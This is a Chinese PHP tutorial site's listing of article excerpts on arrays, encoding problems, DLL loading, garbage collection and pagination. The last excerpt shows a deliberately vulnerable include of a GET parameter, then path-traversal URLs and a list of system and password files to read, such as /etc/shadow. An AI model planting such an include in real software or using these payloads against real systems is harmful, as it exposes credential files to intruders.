-
php中使用explode查找某个字符是否存在的示例
本文是一个php中使用explode查找某个字符是否存在的示例代码,感兴趣的同学参考下。 为了使输入方便,减少在装修编辑模块的时候出现太多的文字框,需要用到在一个框内输入两三种不同内容,然后再使用一些特殊字符来分隔开,用explode来建立一组数据的方法...
PHP 2014-12-06 05:12:05 -
PHP数组的交集array_intersect(),array_intersect_assoc(),array_inter_key()函数使用注意
本文为大家讲解的是PHP数组的交集array_intersect(),array_intersect_assoc(),array_inter_key()函数使用注意事项,感兴趣的同学参考下。 求两个数组的交集问题可以使用array_intersect(),array_inersect_assoc,array_intersect_key来实现,其中array_intersect()函数是求两个数的交集 返回一个交集共有元素的数组(只是数组值得比较)、array_intersect_assoc()函数是将键值和值绑定,一起比较交集部分、array_intersect_key()函数是将两个数组的键值进行比较,返回键值交集的数组...
PHP 2014-12-06 05:09:07 -
php写入中文到sqlserver 2008里出现乱码的解决办法分享
本文为大家讲解的是php写入中文到sqlserver 2008里出现乱码的解决办法,感兴趣的同学参考下. 今天使用php操作数据库时发现插入SQL Server 2008数据库里的中文字段出现乱码,下面是我一开始时的一些情况: 开发环境是php5.3.3+Apache2.2.17+SQL Server 2008,php脚本文件的编码是utf-8,传给数据库的编码是GB2312(SQL Server的默认字符编码可能是这个,我不肯定),我用的是微软官方提供的SQLSRV库来连接数据库的(PS:SQL Server 2005开始已经不支持用mssql.dll来连接了),故使用sqlsrv_query($conn, "set names GB2312");语句来设置传给数据库的编码格式的,sql语句这样写了:insert into Opinion (content) values ('aaa中文内容'); 运行这条sql语句,发现执行不成功,用sqlsrv_errors()函数来输出错误信息,得到如下结果: Array ( ...
PHP 2014-12-06 05:03:04 -
PHP的几个常用数字判断函数代码
本文为大家整理的是PHP的几个常用数字判断函数代码使用说明,感兴趣的同学参考下. PHP的几个常用数字判断函数代码,主要包括双精度,整数,字符判断等 <HTML> <HEAD> <TITLE>常用的数值判断函数</TITLE> </HEAD> <BODY> <? //判断数组 $colors = array("red", "blue", "green"); if(is_array($colors)) { print("colors is an array"...
PHP 2014-12-06 04:45:04 -
PHP 错误: PHP Startup: Unable to load dynamic library \ D:/php5/ext/php_mysqli.dll解决方法
本文为大家讲解的是PHP 错误: PHP Startup: Unable to load dynamic library \ D:/php5/ext/php_mysqli.dll解决方法,感兴趣的同学参考下. 今天在家启动PHP环境的时候,突然发现不能加载php_mysqli.dll了,网上找了一圈,没有解决方案!在群里面受一哥们儿的启发,竟然解决了,如果你的问题还没有解决,请按下面的方法试试 apache下 比如我的apache装在D盘,目录是D:/severs/apache PHP的目录是D:/servers/php5 这样,把D:/servers/php5/libmysql.dll拷贝到D:/servers/apache/bin这个目录下面 重启apache,问题迎刃而解!~~ iis下: 将php目录下的libmysql.dll复制到c:windowssystem32目录里面,然后重启iis即可。如果提示正在使用,可以先停止iis(iisreset /stop)即可 当然提示其它dll文件也是一样的解决方法,一般情况下是先检查php目录...
PHP 2014-12-06 04:33:08 -
调试一段PHP程序时遇到的三个问题小记
本文是一个调试一段PHP程序时遇到的三个问题小记,感兴趣的同学参考下. 1,filesize()函数返回错误的值。 使用curl将某个页面下载到本地时,需要将下载到的临时文件tmpHtml.txt的内容读取到一个缓冲区中...
PHP 2014-12-06 04:27:04 -
PHP5.3的垃圾回收机制(动态存储分配方案)深入理解
本文为大家讲解的是PHP5.3的垃圾回收机制(动态存储分配方案)深入理解,感兴趣的同学参考下。 垃圾回收机制是一种动态存储分配方案,它会自动释放程序不再需要的已分配的内存块,PHP也在语言层实现了内存的动态管理.内存的动态管理将开发人员从繁琐的内存管理中解救出来 垃圾回收机制是一种动态存储分配方案...
PHP 2014-12-06 04:21:04 -
PHP学习笔记之二 数组,类,对象
本文是一篇php学习笔记,为大家讲解的是php中的数组,类,对象,感兴趣的同学参考下。 1. 数组 PHP的数组其实是一个关联数组,或者说是哈希表...
PHP 2014-12-06 04:18:04 -
php判断输入不超过mysql的varchar字段的长度范围
本文为大家讲解的是php判断输入不超过mysql的varchar字段的长度范围的方法,感兴趣的同学参考下。 varchar类型字段,如果你设置长度为10,那么不论汉字和英文都可以存10个...
PHP 2014-12-06 04:15:04 -
PHP 文本文章分页代码 按标记或长度(不涉及数据库)
本文是一个PHP 文本文章分页代码 按标记或长度(不涉及数据库),感兴趣的同学参考下。 实例代码: <?php /** * ********************************************************** * Read Me * 文章分页 * * 分页方式,可以按字数分页,按换行分页,按特殊标记分页等 * 其实实现思路是一样的,只是将其按一定规律放入一个数组 * 然后根据 url 传入的参数取得某个片段即可 * 大家完全可以写一个功能强大的函数保存起来以备不时之需 * * 题外话:很多编辑器都有插入分页按钮,利用插入的代码可显示分页 * * filename: page.php * charset: UTF-8 * create date: 2012-5-16 * ********************************************************** * @author itbdw <[email protected]> * @copyri...
PHP 2014-12-06 04:12:06 -
php 伪造本地文件包含漏洞的代码
本文是一个php 伪造本地文件包含漏洞的代码示例,感兴趣的同学参考下。 代码: <?php $page=$_GET['page']; include($page.'php'); ?> 你可以这样使用 http://www.xxx.com/index.php?page=../etc/passwd http://www.xxx.com/index.php?page=../../../etc/passwd http://www.xxx.com/index.php?page=..../../etc/passwd 获取更多数据: etc/profile etc/services /etc/passwd /etc/shadow /etc/group /etc/security/group /etc/security/passwd /etc/security/user /etc/security/environ /etc/security/limits /usr/lib/security...
PHP 2014-12-06 04:06:04